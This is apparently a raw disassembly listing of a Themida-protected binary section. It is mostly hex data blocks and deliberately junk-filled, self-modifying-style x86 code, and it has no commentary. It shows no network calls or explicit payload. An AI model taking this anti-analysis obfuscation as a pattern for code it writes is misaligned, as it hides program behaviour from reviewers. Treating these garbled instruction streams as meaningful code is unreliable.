		dd 53E9A2D2h, 0F4DB4E57h, 0B268DB8Eh, 76B1DBBEh, 528D3F1Ah
		dd 2F5134C8h, 0B39D6EECh, 71F93246h, 69B26F1Ch,	9665E526h
		dd 8CA19EBAh, 0E9B8C022h, 0F8B265A6h, 950EBA43h, 12EAE4Dh
		dd 0A6DE0000h, 0D586A4A2h, 3CFCA815h, 32579378h, 0ED0D4780h
		dd 0E991C088h, 8CFF7B2Eh, 81807F6Dh, 3880CC67h,	600BB7C5h
		dd 3BFC4E37h, 0A0AA1D0Eh, 0C644BFCDh, 881AC479h, 4E2307C0h
		dd 0EA25573Ah, 0EC289B60h, 1744D81Ch, 3BFC4DEEh, 57F8D4C7h
		dd 4D958DAEh, 43A2h, 0A7A6D200h, 0BD487A3h, 0B2CFE16Eh
		dd 236DAADFh, 0A5F61407h, 0C6DFAC7Ch, 6F62CC75h, 0BE7B0C70h
		dd 0C0EB6FCBh, 0C6DFAC97h, 8753BD6Eh, 0E16F0BD4h, 0B1B9624Fh
		dd 0AB456E3Dh, 731846DFh, 95AFA119h, 0FF000000h, 86A4A2A6h
		dd 0FC9285D5h, 703E83Ch, 6DDD16A2h, 0A3A76028h,	0FC9336F8h
		dd 9F586C3Bh, 0B677067Bh, 0BA241D94h, 5ACA177Eh, 32E5D6ACh
		dd 13F37FD6h, 76FCAE69h, 5569472h, 321196BAh, 0AE2228D3h
		dd 144087CBh, 9E5C9725h, 0A728511Ah, 0EFD46D7h,	127EB9CDh
		dd 0CC96AFE6h, 373315D5h, 6FA8DEB3h, 0F33460EBh, 3CED3EA8h
		dd 52199D11h, 3BFBFF29h, 0D3FC0FFCh, 0AA3BFBFEh, 31F698C1h
		dd 0B2F62229h, 0FEC4EDBEh, 0F2993BFBh, 0E4974B3Fh, 0BEE9C9B4h
		dd 72771A0h, 0B6E23A8h,	0D343781h, 0DF20355Eh, 0B0630846h
		dd 0FEDE9A64h, 3D0E0CCDh, 70BBE04Ah, 0D93CF4B8h, 0D31E4B2h
		dd 301C4755h, 430703E8h, 0BF5B9C2Eh, 94BDEE4Ch,	693BF47Eh
		dd 59635682h, 43082C9Eh, 4A6BF338h, 86F3DD41h, 5C3139F2h
		dd 9C57652Ch, 0FEDA8D7Eh, 69E3515Ah, 4283C6D9h,	0FB8AEFE0h
		dd 0D9331802h, 5B0FC8F0h, 71995266h, 0ACAE6B1Ch, 81822CE5h
		dd 2E355E0Dh, 6308CEEFh, 7FB8C029h, 88D3578Bh, 0CEEF2E5Fh
		dd 6BACD336h, 6FA91CEFh, 6F137E0Ah, 0E659A2A8h,	3C264h
		dd 0C8DA0000h, 0C90249E0h, 0E35C6C41h, 0BC750267h, 53943B9Eh
		dd 69A2D2B7h, 3FF88CE1h, 0D415A61Bh, 0E82F5336h, 807F0F62h
		dd 8952B99Ah, 4C281E2h,	83000000h, 148704EAh, 24248B24h
		dd 24FC68h, 24048900h, 1F4868h,	243C8900h, 643668h, 242C8900h
		dd 0EBA881BDh, 5DE8890Ah, 243C8B54h, 4C481h, 89510000h
		dd 84F89C1h, 83240C8Bh,	3C8B04C4h, 0E3895324h, 4C381h
		dd 0C3830000h, 241C8704h, 24048B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 6Ah,	44h, 0FEh
		dd 0AD60B8F4h, 0C5030AEBh, 0CE5DE0FFh, 54641779h, 4AAF69E9h
		dd 6385364Ah, 329A53D6h, 0AD6A7C19h, 8CBB6845h,	961C17C4h
		dd 0C5C86785h, 9C0D720Dh, 7F3F0E46h, 970107E8h,	0E37F4F68h
		dd 0DC8A1F3Ah, 85123850h, 220D0733h, 51117964h,	0B77B1727h
		dd 9E54730Dh, 2B75057h,	0FE000D18h, 6A5371A6h, 98CA48F8h
		dd 8D8D37A8h, 0AEBAEFCh, 0AE9h,	6785FA00h, 0FC9744C9h
		dd 8970EE92h, 0E314798Dh, 15858B0Ah, 0C70AE325h, 0E306C985h
		dd 69000Ah, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0C8F6CFC4h, 85C7F08Bh, 0AE30069h
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+0AE30585h]
		push	dword ptr [ebp+0AE31B71h]
		push	0
		push	eax
		call	sub_60D39B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60D39B	proc near		; CODE XREF: Themida_:0060D393p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_60D39B	endp

; ---------------------------------------------------------------------------
		test	al, 2Bh
		mov	ch, 61h
		sbb	ah, bl
		or	ah, [esi-7Fh]
		idiv	dword ptr [ebx]
		sbb	edi, edi
		xchg	eax, ebp
		mov	ch, 26h
		jecxz	short near ptr loc_60D3C5+2
		push	0
		push	ebp
		call	sub_60D3C8


loc_60D3C5:				; CODE XREF: Themida_:0060D3BBj
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60D3C8	proc near		; CODE XREF: Themida_:0060D3C0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_60D3C8	endp

; ---------------------------------------------------------------------------
		dd 0BD501A18h, 5890Fh, 0DBBF0000h, 6A11B537h, 0D195FF00h
		dd 8B0AE31Ch, 658EBC0h,	0B10A45AEh, 0D0077038h,	70290673h
		dd 0ADEA0FAEh, 47429E17h, 6C3EF27Bh, 0AC983703h, 0BC35E67Ch
		dd 0F7199CA1h, 20B0CA94h, 93C07D0Eh, 3584CEA3h,	4BD64502h
		dd 2BFB300Dh, 8B8D2507h, 0E7FD953Ah, 2DC435FEh,	248539CFh
		dd 3BC5B77Fh, 598A5450h, 0E775D8BEh, 0E826FEE6h, 5, 4FBBDBFBh
		dd 67ACB849h, 815A466Ch, 0EE8D8EE9h, 9DC2817Fh,	0F000058h
		dd 68Bh, 85850900h, 330AE329h, 11E8FFh,	7AC60000h, 65442799h
		dd 5772B3F5h, 21B59BC5h, 8BBC0409h, 0E32BA585h,	1C8B590Ah
		dd 0AD8D8B3Ah, 810AE330h, 1D34FAEBh, 658D2B2Ah,	810AE325h
		dd 0CBD83FEBh, 94C38122h, 0E9507202h, 5, 0ACD05A53h, 0BD315374h
		dd 0AE31261h, 513A048Fh, 25DAB866h, 58C0F5Eh, 66000000h
		dd 0ED5EC881h, 0A875EF81h, 850B080Bh, 0AE3119Dh, 0A871C781h
		dd 0BCB8080Bh, 816DC02Dh, 0FFA80CFFh, 97850FFFh, 0B5FFFFFFh
		dd 0AD8D8D3Dh, 6A0AEBB0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 414AC353h, 361858Bh
		dd 81660AE3h, 89696AC2h, 0E314798Dh, 0C7C38B0Ah, 0E306C985h
		dd 74E80Ah, 0AE900h, 80ED0000h,	0BF6ED938h, 439751B6h
		dd 6985C7h, 0AE3h, 9D890000h, 0AE32F51h, 1B71B5FFh, 7E80AE3h
		dd 3E000000h, 7085CDECh, 81660D8Ah, 5A3DF4D7h, 26B595FFh
		dd 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 2471B9C3h, 95FF006Ah, 0AE31CD1h, 58EBC08Bh
		dd 0FCDE1096h, 4B2B1F6Bh, 51A2A700h, 763AD26Bh,	0E606E6FFh
		dd 4118CEFh, 13ABC904h,	62128AEh, 8F5A803Fh, 91F05017h
		dd 0F2FF2212h, 0C913DCFAh, 2214C18h, 8BC744F9h,	43798A74h
		dd 6E0E130Bh, 0D4DC7E6h, 0DA282172h, 200BF2D6h,	0B049EA53h
		dd 0C6B1BA9h, 5B59703h,	0F0E900EBh, 58000003h, 0CF02F831h
		dd 0B78A40BFh, 3316C403h, 0BC91498Eh, 0C1BCF08h, 19D2E2DEh
		dd 0E0596CA1h, 69A6D72Ah, 0F32C5CB1h, 1D4E0C07h, 3BF3F9F4h
		dd 49DE2CC9h, 0EF285001h, 470B4E3Ch, 0C2F7CA80h, 0ACD77585h
		dd 63D6D853h, 0E92252B7h, 6FA8DC31h, 7823A7BBh,	46DEB54Fh
		dd 0A6F57526h, 46DEB57Dh, 861AB50h, 0F3D68445h,	785D0DCAh
		dd 0D8239750h, 3CF56591h, 4B4CC26h, 1E1C6FCBh, 6B4F1354h
		dd 0F6296C2h, 0F29DBD7Ah, 4F3BFC81h, 0C763E5E5h, 32D811A2h
		dd 204B8FC9h, 321231B4h, 11DB305Bh, 61E528D6h, 208F337h
		dd 0D5CC6C99h, 894E7046h, 5D9A2C81h, 497239BDh,	1C46D5CCh
		dd 0D39FB06Fh, 0CC4E8933h, 20DD8C7Fh, 0F1DAABEh, 0F517477Fh
		dd 87000000h, 46C40749h, 34A92DADh, 1D0E4A87h, 46DFAB00h
		dd 7F0C2EDDh, 0E80C64C1h, 0A5622BB3h, 0A9E356A5h, 0D49C2C81h
		dd 0DF125E87h, 91443746h, 1BD4E4D9h, 57575FFh, 63C7BA75h
		dd 48BB7C0Eh, 4E8C4351h, 21296376h, 0FC32CE7Ah,	70FAA13Ch
		dd 6686AFFCh, 5F6E3BFCh, 0B59F8C9Eh, 0CF9E2085h, 72D941BEh
		dd 94269BBFh, 6833B753h, 3BFC663Fh, 221B6516h, 0B3DC8F80h
		dd 8A3BFC65h, 48C12EE1h, 3A61E5E6h, 3BFC6611h, 0FCDD37E4h
		dd 8DA713CCh, 0ACFF7BCDh, 32195834h, 0A71A00EBh, 2164D611h
		dd 34BE5C9Fh, 4615D539h, 46DF574Dh, 0CB6FDBC0h,	56FB2477h
		dd 29D246DFh, 636565EFh, 38A2634Fh, 0A4867968h,	0FE394D20h
		dd 8F8D9192h, 1B003CFCh, 0B1EA9AFFh, 3E8A0167h,	0EC63F38Dh
		dd 85988C56h, 56AB1FD2h, 0EF65E526h, 8BD01AF0h,	3BFBAF86h
		dd 63A61407h, 0D8209A5Dh, 86A4A2A6h, 0FC908DD5h, 0EFBC303Ch
		dd 3BFC90C6h, 78A0EC9Fh, 66127793h, 0EF4DFDADh,	0C7F4E8E7h
		dd 483B000Ah, 9186B3E4h, 0D2B73BFCh, 36236DA6h,	0D409C982h
		dd 21254CA8h, 5F12D7F8h, 29E296EBh, 82C8AD21h, 9A2E0B45h
		dd 0A15EB9A1h, 64DFED3Dh, 0FEE895B6h, 40E04D95h, 58000000h
		dd 0BACF9225h, 0BB6EDD7Dh, 3C60AC9Fh, 86A4A2A6h, 0E05F6F02h
		dd 8DC773B4h, 0F5A63CFCh, 0C8FC9155h, 181ADC0Fh, 79A8368Fh
		dd 558E3A1Fh, 5486E695h, 0D003FC8Dh, 0F5DFC012h, 14F315h
		dd 49AB0000h, 0E367C304h, 0DFAB8FB8h, 5BB56646h, 75AEDABFh
		dd 35A87585h, 6FA8DC85h, 63AD60EBh, 0A8F34576h,	46DFAB7Fh
		dd 4E893356h, 0D98C7FCCh, 38AE6A11h, 3568A3D5h,	0ED273E70h
		dd 3764F61Dh, 46DF9702h, 0A71A00EBh, 7130DA15h,	4DD296E5h
		dd 407EADC7h, 94B6711Bh, 0ED06DA7h, 0BEF3B832h,	0AF46DF54h
		dd 42D7EFCh, 0D946DF55h, 77057832h, 966ACEBCh, 0DF559CC5h
		dd 0D1FAA146h, 0A446DF54h, 9CF8A3F7h, 2BEEFD61h, 0BE000000h
		dd 5E87D4A8h, 1046DFABh, 6D6757CAh, 1EA00B2h, 0E971B6D8h
		dd 0B9C33662h, 0F799FC7Eh, 5D30D834h, 2206F42Fh, 92FE394Fh
		dd 249F626h, 5C6C41C9h,	750267E3h, 943B9EBCh, 0A2D2B753h
		dd 0F88CE169h, 15A61B3Fh, 2F5336D4h, 7F0F62E8h,	68B99A80h
		dd 321Eh, 89243489h, 4C681E6h, 83000000h, 348704EEh, 89535C24h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 242C895Ch, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 0BD240489h, 4B7F491Eh, 7E5C145h
		dd 5D8BF581h, 0CD816606h, 67C4FD1h, 672EB850h, 76056386h
		dd 50AA774h, 4CBE16BCh,	748C9735h, 58C521F4h, 523EC581h
		dd 8B54BC4Dh, 0C4832404h, 0EF895704h, 8B087889h, 0C481243Ch
		dd 4, 5224048Bh, 0C281E289h, 4,	8704C283h, 0FF5C2414h
		dd 815D2434h, 4C4h, 0CAC3E900h,	0D5B3FFF7h, 0A3F1BC65h
		dd 87D56564h, 0B8F88AEDh, 0AEBB449h, 0E0FFC503h, 6BDAFD83h
		dd 454023C1h, 7AF8D10Dh, 5AF8FEBEh, 50DC9724h, 5339BBEh
		dd 6F5D4EFDh, 53D4D2C2h, 790CDF2h, 46EB905Fh, 7B8FF600h
		dd 69A0526Bh, 1BDEA933h, 6F1B28DAh, 308F68EFh, 51489630h
		dd 65F4E42Dh, 73082383h, 3149D537h, 6E0E6618h, 13CFB7Ah
		dd 9909CFBh, 67E35F15h,	53245B03h, 621C4C2Eh, 29BBAAA9h
		dd 3948AD39h, 3EF88BCFh, 45D15315h, 5E81B7EFh, 40F2385h
		dd 6C8B72DAh, 0E9FE8B66h, 10h, 2FEDAA74h, 0CAC64CC7h, 0BBBE3Ah
		dd 5CFEDCB7h, 13D981F9h, 0F86281C9h, 4890Fh, 0BE660000h
		dd 0E08165B8h, 7CC6BF3Bh, 0FE4DF80h, 8BF9C7BFh,	0C1C681D3h
		dd 8B3D6B2Fh, 50CF8BD1h, 0BB605AF8h, 35A9C18Dh,	0DE9h
		dd 0E06D2C00h, 288E479Fh, 67B21201h, 816142FCh,	0F991A1C8h
		dd 6E921h, 74180000h, 0F89A0361h, 0CE9CF8Ah, 12000000h
		dd 53639528h, 0EF34373Fh, 660A8DEAh, 840FF88Bh,	1, 28E0FF5h
		dd 8A000000h, 81F98BC8h, 35D006E9h, 0F0B70F0Dh,	2B3DBA52h
		dd 0F5F7F6Fh, 38Eh, 0DAB70F00h,	61BA6652h, 0BF665855h
		dd 800FA5FDh, 2, 0F88BDD8Ah, 0AD49E381h, 0C08000B8h, 0E8CE8B1Bh
		dd 5, 1732B8A1h, 0CB8B661Dh, 10E95Ah, 0A9110000h, 4687E86Ah
		dd 2CDC8D5Ch, 0C83AA411h, 0E9F59CCBh, 9, 0BC268830h, 0D9C73288h
		dd 0B44FB503h, 29B9662Ch, 6E8ACh, 20DC0000h, 0DCCF8ABAh
		dd 175DBB60h, 0B70F0E03h, 665E61F8h, 8166F98Bh,	0F6791CAh
		dd 588h, 9C29B800h, 0EF8008ADh,	0FFA8A37h, 0AABED6BFh
		dd 0E911C6D1h, 0Fh, 598D6C0h, 7F8B706Ch, 0C34F55D4h, 0FDE9676h
		dd 388h, 0D6E18000h
		dd 527FA1BBh, 10E96Ch, 44190000h, 0E0A52E67h, 0FF04C2A7h
		dd 57DF4164h, 0AE82F48h, 0B7000000h, 454F67DBh,	0CAAF6311h
		dd 43BF6659h, 8E95BE3h,	0DD000000h, 73768628h, 0E812B0ECh
		dd 10h,	7C16C279h, 522D030h, 4D12CAAEh,	40300CAAh, 8D0Fh
		dd 8B5F0000h, 6E8DEh, 18D70000h, 1BBD501Ah, 46EA35BEh
		dd 0F88B590Fh, 11E9h, 0D457FB00h, 0EB115DCDh, 0CCA4F320h
		dd 67713A5Fh, 11E9EC75h, 0BE000000h, 7B9358E5h,	3EB8ABEh
		dd 0BF6B5CA4h, 563A32EDh, 8E0F6057h, 0
; ---------------------------------------------------------------------------
		mov	edi, eax
		popa
		pop	esi
		pusha
		popa
		mov	eax, 4159EA5Dh
		mov	edx, ebx
		mov	dx, 0D119h
		jmp	loc_60DC9E
; ---------------------------------------------------------------------------
		dw 0F861h
		dd 83BD884Dh, 7CB40D07h, 63BA3AEh
; ---------------------------------------------------------------------------
		and	esp, esi


loc_60DC9E:				; CODE XREF: Themida_:0060DC89j
		movsx	ebx, ax
		call	sub_60DCB4
		clc
		and	eax, 0CC00EA98h
		jnp	short near ptr dword_60DBD8+57h
		lodsd
		mov	esp, 0A336AEF9h

; =============== S U B	R O U T	I N E =======================================



sub_60DCB4	proc near		; CODE XREF: Themida_:0060DCA1p
		jl	loc_60DCCC
		jmp	loc_60DCCC
; ---------------------------------------------------------------------------
		db 0C0h
		dd 1928B634h, 0ACB4BD2Bh, 4A8ED918h
; ---------------------------------------------------------------------------


loc_60DCCC:				; CODE XREF: sub_60DCB4j sub_60DCB4+6j
		pop	ebx
		push	edi
		pusha
		call	sub_60DCE4
		iret
sub_60DCB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 37h,	0C4h, 27h
		db 9, 0D2h
		dw 7780h
		dd 0F2F34674h, 0D5B1D146h

; =============== S U B	R O U T	I N E =======================================



sub_60DCE4	proc near		; CODE XREF: sub_60DCB4+1Bp
		pop	esi
		jmp	loc_60DCFB
; ---------------------------------------------------------------------------
		dw 1BB3h
		dd 0B3928BA5h, 0C7A169A1h, 76FCDB5Eh
		db 0D9h, 4Ch, 30h
; ---------------------------------------------------------------------------


loc_60DCFB:				; CODE XREF: sub_60DCE4+1j
		popa
		pop	ebx
		mov	esi, 4C73DF6Eh
		mov	bx, 0F159h
		jnz	loc_60DD28
		pusha
		jmp	loc_60DD25
; ---------------------------------------------------------------------------
		dw 62DEh
		dd 0B766ACFAh, 581F22F2h, 0FF6DA5EDh, 5ADC017h
; ---------------------------------------------------------------------------
		das


loc_60DD25:				; CODE XREF: sub_60DCE4+29j
		mov	eax, ecx
		popa


loc_60DD28:				; CODE XREF: sub_60DCE4+22j
		jnb	loc_60DD41
		jmp	loc_60DD41
; ---------------------------------------------------------------------------
		db 0FBh
		dd 5E135B02h, 0FA82B24Fh, 161755CCh
		db 0BFh
; ---------------------------------------------------------------------------


loc_60DD41:				; CODE XREF: sub_60DCE4:loc_60DD28j
					; sub_60DCE4+4Aj
		jnb	loc_60DD4A
		movzx	ebx, di


loc_60DD4A:				; CODE XREF: sub_60DCE4:loc_60DD41j
		cld
		add	ah, 0AFh
		jnp	loc_60DD59
		mov	eax, 7D350CC1h


loc_60DD59:				; CODE XREF: sub_60DCE4+6Aj
		mov	di, 1F75h
		jmp	loc_60DD75
; ---------------------------------------------------------------------------
		dw 7E07h
; ---------------------------------------------------------------------------
		xchg	ecx, [edi+ebx]
		and	ch, 14h
		xchg	eax, esi
		pop	esp
		std
		sub	[esi-3E42997Eh], ah
		xchg	ebx, ecx


loc_60DD75:				; CODE XREF: sub_60DCE4+79j
		call	near ptr loc_60DD87+4
		adc	al, 7Fh
		daa
		call	far ptr	1996h:0CB4AEF94h
		sbb	[edx-0Bh], ecx


loc_60DD87:				; CODE XREF: sub_60DCE4:loc_60DD75p
		mov	ds:0FD91B47h, al
sub_60DCE4	endp ; sp-analysis failed

		mov	[esi], eax
; ---------------------------------------------------------------------------
		dw 0
		dd 0BCCF8100h, 5F7403C0h, 48C0Fh, 60520000h, 0BE95E61h
		dd 27000000h, 3203F91Bh, 36E96AE0h, 81FC5D84h, 86BB35D0h
		dd 35BE6634h, 5DBF6664h, 0DE9508Fh, 0E3000000h,	0B196F32Ah
		dd 0F8267C6Ch, 1F3CAC58h, 601BB05Eh, 61F6B1F9h,	0BE9h
		dd 3DD48700h, 64FBCB25h, 33F2AE7Dh, 8B60FA8Bh, 0CE8166FEh
		dd 0E861BD93h, 14h, 0E11A6BD9h,	2980847Bh, 9278727Ah, 9973B932h
		dd 0A659E2CEh, 0FE9h, 9ABCF800h, 2DED109Bh, 0BCD5D89Eh
		dd 6F3EC741h, 0DE85Bh, 41510000h, 7E70D902h, 760A78BAh
		dd 535CC20Fh, 0CE9h, 888A1D00h,	0DCBC3A00h, 0C28BF5CDh
		dd 8B595E00h, 7E8C6h, 14A60000h, 73A2A999h, 0C0B70F58h
		dd 0BE95Ah, 5A630000h, 27CEC440h, 4D4182A3h, 21BE6657h
		dd 0CE9ACh, 0C48B0000h,	0B091FE2Bh, 2D423CC1h, 830F9CCDh
		dd 0Bh,	6E9h, 55D63700h, 52C98899h, 59CA8A57h, 0A9BB6659h
		dd 0D88B66ADh, 0E9C1BF0Fh, 11h,	5999A46Eh, 0BEE58CA3h
		dd 17698F4Ch, 1F16B7BAh, 8166602Ch, 66CA86F3h, 894DF281h
		dd 7E961h, 8EF0000h, 4DD18ABCh,	0A2B0F5E7h, 0FCC0DF81h
		dd 0F5805B98h, 0C7816603h, 800F1024h, 8, 28D0Fh, 61600000h
		dd 96BB66F9h, 0BFCBB790h, 41659650h, 16810Fh, 11E90000h
		dd 83000000h, 81DBC9D4h, 903FE0Dh, 0D2A678E6h, 378EDC67h
		dd 1607EAB9h, 0FFBE6663h, 0D88052C4h, 8B665B89h, 0EE9F8h
		dd 4D9D0000h, 3A0D05DBh, 0D3178887h, 36C789C0h,	0CE9h
		dd 364F100h, 0AE0126Fh,	0C13FCDCEh, 0FE831h, 0AAB0000h
		dd 1461FF27h, 0FB6429B2h, 72DC8BEFh, 13E93Ah, 68920000h
		dd 1C77B88Ch, 84C67EE4h, 0D151686Dh, 1BC1C92Ah,	0BF0F5BC3h
		dd 0F2B70FDAh, 0E81DD5BAh, 1715BF37h, 0B70F0FC0h, 14CA81F6h
		dd 667D9B99h, 0CA81D08Bh, 1DFC2CF5h, 7E9h, 6D3ED500h, 0AFA788Ah
		dd 0FDF8B66h, 586h, 0E8816600h,	8B668564h, 0DA8B66F9h
		dd 62CBD781h, 0D98029DFh, 0C38152C9h, 233AB1E0h, 0C6BF0F5Ah
		dd 16C08166h, 9BCE811Eh, 804FBD27h, 0E1B5A7DEh,	4860Fh
		dd 0BB660000h, 13E9751Dh, 42000000h, 0CD07A97h,	0C991A976h
		dd 3BDB7BDEh, 0FC4FC81Eh, 0C6B8AD6Ah, 66363045h, 5B24F281h
		dd 0E8C9B70Fh, 14h, 0F9B8EE6Ah,	0F6409CB2h, 0DE6040Bh
		dd 0BE61499Dh, 42503990h, 5BCE8B66h, 0F88B66F9h, 0FBEDF681h
		dd 81662EB6h, 537CDBC0h, 5FCEB70Fh, 13E856h, 7C870000h
		dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch,	0CA8166BDh
		dd 5F5ECB71h, 12E9h, 90CC4700h,	0AAC28527h, 0E02B42Bh
		dd 43EB4A0Fh, 0F990A3Dh, 0BE9D1BFh, 1C000000h, 2625A6A5h
		dd 25E91BF7h, 0EE9E7BFh, 38000000h, 0EE968648h,	31D4AB2Ch
		dd 17C0E191h, 0FEE781DBh, 8B6442BCh, 0CDBB66F3h, 830F6087h
		dd 0
; ---------------------------------------------------------------------------
		popa
		sub	si, 5D7h
		xor	esi, 11FC1992h
		xor	ebx, 31870197h
		jmp	loc_60E0D2
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FE2BC48Bh, 3CC1B091h
		db 42h,	2Dh
; ---------------------------------------------------------------------------


loc_60E0D2:				; CODE XREF: Themida_:0060E0C2j
		call	sub_60E0E7
		test	al, 46h
		out	dx, eax
		insb
		mov	ds:682A1658h, al
		jz	short near ptr dword_60DD90+303h
; ---------------------------------------------------------------------------
		dw 0C362h
; ---------------------------------------------------------------------------
		pop	ebx
		xor	cl, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_60E0E7	proc near		; CODE XREF: Themida_:loc_60E0D2p
		pop	ecx
		jmp	loc_60E0F5
; ---------------------------------------------------------------------------
		db 0DCh, 8Ah, 0F1h
		dd 0FE373901h
		db 5
; ---------------------------------------------------------------------------


loc_60E0F5:				; CODE XREF: sub_60E0E7+1j
		jg	loc_60E0FD
		mov	cl, 2Ah


loc_60E0FD:				; CODE XREF: sub_60E0E7:loc_60E0F5j
		pusha
		pusha
		mov	cx, dx
		push	edi
		pop	ebx
		popa
		sbb	di, 3D4Bh
		popa
		jmp	loc_60E11C
; ---------------------------------------------------------------------------
		dd 1C5BD5A1h, 0B1FB6668h, 0CED787DFh
; ---------------------------------------------------------------------------


loc_60E11C:				; CODE XREF: sub_60E0E7+24j
		xor	esi, 6F7F90CFh
		jmp	loc_60E13B
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		mov	bl, 64h
		mov	ch, 0B4h
		movsb
		mov	edi, 0DA2375ACh
		mov	edi, 68685E42h
		retn	68EFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_60E13B:				; CODE XREF: sub_60E0E7+3Bj
		cld
		call	near ptr loc_60E149+1
		in	eax, dx
		mov	ecx, 46431E84h
		add	[eax], cl


loc_60E149:				; CODE XREF: sub_60E0E7+55p
		mov	dword ptr [edi], 1A8Ch
sub_60E0E7	endp ; sp-analysis failed

		add	al, ch
		adc	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 3A81DE00h, 0EA4BE503h, 785661F1h, 7E4054B6h,	0B5389C0Ah
		dd 0B6585820h, 7E970h, 0CD550000h, 4559A3D4h, 0F0B70FBBh
		dd 0F4AE080h, 587h, 60F56000h, 0FCF96161h, 81E3EF80h, 0BA70BDCEh
		dd 11E9534Bh, 82000000h, 0AB3F1794h, 7C16C279h,	522D030h
		dd 4D12CAAEh, 830FFC58h, 5, 5F4D4CB8h, 12E967h,	0BE3C0000h
		dd 93AA9A45h, 908B2CDh,	0C0930F4Dh, 0BE2F6E49h,	0AB437DBFh
		dd 0DE828h, 0A0FE0000h,	91040CDEh, 0FF107D5Eh, 0B236B090h
		dd 81665E24h, 0E9E081D7h, 0Fh, 46642E44h, 586EA8E3h, 5CA94B52h
		dd 0FF30E7Eh, 582h, 0B70F6000h,	0FF861D0h, 0A89h, 4880F00h
		dd 66000000h, 504336BEh, 6850Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		push	ecx
		cmc
		pop	ebx
		mov	si, di
		jmp	loc_60E247
; ---------------------------------------------------------------------------
		dd 0D2376B6h, 25773778h, 8C3DA57Dh
		db 0FFh, 3Ch, 60h
; ---------------------------------------------------------------------------


loc_60E247:				; CODE XREF: Themida_:0060E233j
		movzx	esi, bx
		mov	bh, 53h
		add	si, 0E4C4h
		mov	ch, 87h
		mov	ebx, ecx
		push	ebx
		push	ebx
		pusha
		popa
		pop	eax
		pop	ebx
		call	near ptr loc_60E266+3
		push	ebx
		dec	esi
		test	[ebx-5Bh], esi
		xchg	eax, ebx


loc_60E266:				; CODE XREF: Themida_:0060E25Bp
		db	36h
		mov	esi, 78D3819Fh
		mov	dh, 55h
		pop	edi
		pusha
		mov	bl, cl
		call	loc_60E28A
		and	[ecx+3EBE470Fh], esp
		and	byte ptr [ebx],	0B7h
		mov	[esi+esi], ebx
		xchg	eax, ecx
		mov	eax, 751DB882h


loc_60E28A:				; CODE XREF: Themida_:0060E273p
		push	ebx
		pop	ecx
		pop	ebx
		popa
		mov	ecx, ebx
		mov	bl, ah
		jmp	loc_60E2A3
; ---------------------------------------------------------------------------
		fadd	dword ptr [edi+ecx+203E5E60h]
		int	3		; Trap to Debugger
		wait
		push	edx
		pop	esp
		pop	ecx


loc_60E2A3:				; CODE XREF: Themida_:0060E292j
		pusha
		mov	si, ax
		mov	ch, 1Eh
		popa
		mov	dx, 32C6h
		mov	eax, 457CF9DAh
		clc
		call	sub_60E2C4
; ---------------------------------------------------------------------------
		db 0FEh, 26h, 5Ah
; ---------------------------------------------------------------------------
		xor	eax, 51458F78h
		add	al, 0C4h
		xchg	eax, edx

; =============== S U B	R O U T	I N E =======================================



sub_60E2C4	proc near		; CODE XREF: Themida_:0060E2B4p
		call	near ptr sub_60E2D0
		rep sbb	cs:[ecx], eax
		xchg	eax, ecx
		shr	edx, 1
sub_60E2C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60E2D0	proc far		; CODE XREF: sub_60E2C4p
		and	eax, 474368B0h
		pop	ebx
		pop	ebx
		jbe	loc_60E2E8
		jbe	loc_60E2E8
		mov	di, 6FF1h


loc_60E2E8:				; CODE XREF: sub_60E2D0+8j
					; sub_60E2D0+Ej
		mov	dx, di
		mov	ebx, 59707A54h
		mov	edi, ebx
		or	edx, 2DA17CF6h
		pusha
		xor	ecx, 4051543Fh
		push	ecx
		pop	eax
		popa
		call	sub_60E31B
		sbb	dl, ah
		xor	esp, [ebx+2C7B092Eh]
		cmpsb
		sahf
		add	ebp, [ecx+43h]
		cmp	esp, esi
		retf	0C15Ah
sub_60E2D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6, 0DFh

; =============== S U B	R O U T	I N E =======================================



sub_60E31B	proc near		; CODE XREF: sub_60E2D0+32p
		mov	bh, al
		pop	esi
		call	near ptr loc_60E32B+1
		or	[ebx], bh
		xor	eax, 9E835E7Fh
		setalc


loc_60E32B:				; CODE XREF: sub_60E31B+3p
		fimul	word ptr [edi]
sub_60E31B	endp ; sp-analysis failed

		mov	bh, 0F1h
		pop	edx
		and	ebx, 77664AD5h
		movzx	edi, di
		add	ah, 2Ch
		mov	bl, dh
		jnz	loc_60E34A
		xor	eax, 3D752219h


loc_60E34A:				; CODE XREF: Themida_:0060E33Ej
		or	ax, 6F50h
		stc
		jnp	loc_60E358
		mov	cl, ah


loc_60E358:				; CODE XREF: Themida_:0060E350j
		mov	dx, bx
		adc	dl, 62h
		mov	edi, 2C96169Ah
		cld
		or	edx, 4EF64A00h
		jmp	loc_60E383
; ---------------------------------------------------------------------------
		db 2Ch
		dd 91C555AAh, 0AD3D0CADh, 437CB7A0h, 0CC62B01Ch
		db 5Dh,	5Ah, 0BAh
